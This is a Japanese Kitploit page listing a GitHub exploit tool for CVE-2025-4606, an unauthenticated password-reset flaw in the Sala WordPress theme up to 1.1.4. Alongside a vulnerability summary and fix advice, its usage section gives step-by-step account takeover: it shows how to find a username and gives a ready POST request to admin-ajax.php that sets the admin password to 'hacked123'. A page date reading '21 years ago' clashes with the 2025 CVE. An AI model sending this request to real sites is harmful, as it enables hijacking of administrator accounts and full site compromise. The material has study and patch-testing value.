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CVE-2025-4606 — Sala - Startup & SaaS WordPress テーマ <= 1.1.4 - パスワードリセット/アカウント乗っ取りを介した未認証の権限昇格 | Kitploit
ツール/GitHubGitHub/yucaerin/cve-2025-4606
特権昇格パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubyucaerin/cve-2025-4606

CVE-2025-4606

Sala - Startup & SaaS WordPress テーマ <= 1.1.4 - パスワードリセット/アカウント乗っ取りを介した未認証の権限昇格

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21年前未レビュー

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CVE-2025-4606- WordPress Sala テーマ <= 1.1.4 - パスワードリセット/アカウント乗っ取りによる未認証の権限昇格

🔥 脆弱性の概要
WordPressテーマSalaのバージョン <= 1.1.4 は、未認証の権限昇格 の脆弱性の影響を受けます。この欠陥により、未認証の攻撃者 は、リクエスト元の本人確認を行わずに公開されているAJAXエンドポイントを直接呼び出すことで、管理者を含む任意のユーザーのパスワードをリセットできます。

この脆弱性は、wp_ajax_nopriv_ に登録されている change_password_ajax 関数に起因します。この関数は、リクエストが承認されているかどうかを確認せずに、任意の有効なユーザーログインに対して新しいパスワードを設定します。

🔍 影響を受けるテーマ

  • テーマ名: Sala – Startup & SaaS WordPress Theme
  • 影響を受けるバージョン: <= 1.1.4
  • 脆弱性の種類: 未認証の権限昇格
  • CVE ID: CVE-2025-4606
  • CVSSスコア: 9.8(緊急)
  • 影響: 完全なアカウント乗っ取り(管理者を含む)

🧪 エクスプロイトの特徴

  • 🔓 認証は不要
  • 🔄 任意のユーザーのパスワードを上書き — 有効なログイン名を指定するだけ
  • 📬 AJAXエンドポイントを標的にする /wp-admin/admin-ajax.php?action=change_password_ajax
  • 🧠 即座に動作 — 攻撃者が有効なユーザー名(例:admin)を知っている場合

🧠 研究者

  • クレジット:Thai An

🚀 使用方法

  1. ターゲットのWordPressサイトで有効なユーザー名を特定します。これは以下の方法で確認できます:

    • 公開されている投稿者アーカイブのURL(/author/username)
  2. 以下のPOSTリクエストを作成して、ユーザーのパスワードをリセットします:

    root@kitploit:~
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: targetsite.com
    Content-Type: application/x-www-form-urlencoded
    
    action=change_password_ajax&login=admin&new_password=hacked123
    
  3. 成功した場合、上記の例の新しいパスワード(hacked123)を使用して、対象のユーザーとしてログインできます。

  4. /wp-login.php にアクセスして、ログインできることを確認します。

🛠 修正の推奨事項

  • テーマ開発者は、wp_ajax_nopriv_change_password_ajax フックを削除するか、セキュリティを強化する必要があります。
  • 機密性の高い操作を許可する前に、常に is_user_logged_in() を確認し、ユーザーの本人確認を行う必要があります。
  • CSRFや未認証の悪用を防ぐために、nonceチェックを実装する必要があります。

🔒 免責事項:
この情報は、教育および許可されたペネトレーションテストの目的のみで提供されています。システムの不正な悪用は違法かつ非倫理的です。

📚 参考情報:

  • Wordfenceアドバイザリ
ツールをダウンロード